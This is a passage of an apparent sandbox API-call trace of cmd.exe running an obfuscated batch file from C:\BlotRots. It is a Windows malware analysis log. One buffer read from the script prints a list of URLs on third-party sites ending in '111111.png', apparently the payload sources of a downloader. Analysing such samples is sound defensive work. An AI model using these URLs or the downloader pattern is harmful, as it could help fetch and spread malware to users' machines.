_String2="MOVE") returned 10 [0232.292] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.292] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.292] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.292] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.292] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.292] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.292] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.292] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.292] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.292] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.293] ??_V@YAXPEAX@Z () returned 0x1 [0232.293] GetProcessHeap () returned 0x20b0f920000 [0232.293] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.293] GetProcessHeap () returned 0x20b0f920000 [0232.293] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc4) returned 0x20b0f957580 [0232.293] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.293] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.293] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.294] GetProcessHeap () returned 0x20b0f920000 [0232.294] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.295] SetErrorMode (uMode=0x0) returned 0x0 [0232.295] SetErrorMode (uMode=0x1) returned 0x0 [0232.295] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.295] SetErrorMode (uMode=0x0) returned 0x1 [0232.295] GetProcessHeap () returned 0x20b0f920000 [0232.295] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.295] GetProcessHeap () returned 0x20b0f920000 [0232.295] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.295] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.295] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.295] GetProcessHeap () returned 0x20b0f920000 [0232.295] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0232.295] GetProcessHeap () returned 0x20b0f920000 [0232.295] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.295] GetProcessHeap () returned 0x20b0f920000 [0232.295] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.295] GetProcessHeap () returned 0x20b0f920000 [0232.295] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.296] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.296] GetProcessHeap () returned 0x20b0f920000 [0232.296] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947550 [0232.296] GetProcessHeap () returned 0x20b0f920000 [0232.296] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947550, Size=0x7e) returned 0x20b0f956a30 [0232.296] GetProcessHeap () returned 0x20b0f920000 [0232.296] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0232.296] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.296] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ceb0 [0232.296] FindClose (in: hFindFile=0x20b0f92ceb0 | out: hFindFile=0x20b0f92ceb0) returned 1 [0232.296] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.296] GetLastError () returned 0x2 [0232.296] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.297] GetLastError () returned 0x2 [0232.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.297] GetLastError () returned 0x2 [0232.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.297] GetLastError () returned 0x2 [0232.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.297] GetLastError () returned 0x2 [0232.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.297] GetLastError () returned 0x2 [0232.297] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.298] GetLastError () returned 0x2 [0232.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.298] GetLastError () returned 0x2 [0232.298] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.298] GetLastError () returned 0x2 [0232.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.299] GetLastError () returned 0x2 [0232.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.299] GetLastError () returned 0x2 [0232.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.299] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.299] GetLastError () returned 0x2 [0232.299] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.299] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d210 [0232.299] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0232.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.300] GetLastError () returned 0x2 [0232.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.300] GetLastError () returned 0x2 [0232.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.300] GetLastError () returned 0x2 [0232.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.300] GetLastError () returned 0x2 [0232.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.300] GetLastError () returned 0x2 [0232.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.301] GetLastError () returned 0x2 [0232.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.301] GetLastError () returned 0x2 [0232.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.301] GetLastError () returned 0x2 [0232.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.301] GetLastError () returned 0x2 [0232.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.301] GetLastError () returned 0x2 [0232.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.302] GetLastError () returned 0x2 [0232.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.302] GetLastError () returned 0x2 [0232.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.302] GetLastError () returned 0x2 [0232.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.303] GetLastError () returned 0x2 [0232.303] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.303] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.303] GetLastError () returned 0x2 [0232.303] ??_V@YAXPEAX@Z () returned 0x1 [0232.303] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.303] GetFileType (hFile=0x54) returned 0x2 [0232.303] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.303] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.336] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.336] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.337] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.337] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.337] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.342] ??_V@YAXPEAX@Z () returned 0x1 [0232.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.343] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.343] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.344] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.344] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.344] SetConsoleInputExeNameW () returned 0x1 [0232.344] GetConsoleOutputCP () returned 0x1b5 [0232.344] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.344] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.345] ??_V@YAXPEAX@Z () returned 0x1 [0232.346] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.346] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.346] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.346] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4635, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121b [0232.346] GetProcessHeap () returned 0x20b0f920000 [0232.346] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0232.346] GetProcessHeap () returned 0x20b0f920000 [0232.346] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.346] GetProcessHeap () returned 0x20b0f920000 [0232.346] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0232.347] GetProcessHeap () returned 0x20b0f920000 [0232.347] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.347] GetProcessHeap () returned 0x20b0f920000 [0232.347] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957580) returned 1 [0232.348] GetProcessHeap () returned 0x20b0f920000 [0232.348] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.348] GetProcessHeap () returned 0x20b0f920000 [0232.348] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956b50) returned 1 [0232.348] GetProcessHeap () returned 0x20b0f920000 [0232.348] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.348] GetProcessHeap () returned 0x20b0f920000 [0232.348] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0232.348] GetProcessHeap () returned 0x20b0f920000 [0232.348] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.349] GetProcessHeap () returned 0x20b0f920000 [0232.349] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0232.349] GetProcessHeap () returned 0x20b0f920000 [0232.349] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.349] GetProcessHeap () returned 0x20b0f920000 [0232.349] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.349] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.349] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121b [0232.349] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x59a, lpOverlapped=0x0) returned 1 [0232.349] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1276 [0232.349] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0232.349] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.350] GetFileType (hFile=0x9c) returned 0x1 [0232.350] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.350] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1276 [0232.350] GetProcessHeap () returned 0x20b0f920000 [0232.350] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.350] GetProcessHeap () returned 0x20b0f920000 [0232.350] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.351] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.351] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.351] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.351] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.351] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.351] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.351] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.351] GetProcessHeap () returned 0x20b0f920000 [0232.351] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.351] GetProcessHeap () returned 0x20b0f920000 [0232.351] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.351] GetProcessHeap () returned 0x20b0f920000 [0232.351] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f9259d0 [0232.351] _tell (_FileHandle=3) returned 4726 [0232.351] _close (_FileHandle=3) returned 0 [0232.351] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.352] GetFileType (hFile=0x50) returned 0x2 [0232.352] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.352] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.352] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.352] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.356] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.356] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.356] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.356] GetFileType (hFile=0x50) returned 0x2 [0232.356] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.356] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.356] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.357] GetFileType (hFile=0x50) returned 0x2 [0232.357] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.357] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.357] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.357] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0232.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.357] GetFileType (hFile=0x50) returned 0x2 [0232.357] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.358] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.358] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0232.358] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.358] GetFileType (hFile=0x50) returned 0x2 [0232.358] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.358] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.359] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.365] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.366] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.366] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.366] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.366] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.366] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.366] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.367] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.367] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.367] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.367] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.367] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.367] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.367] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.367] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.367] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.367] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 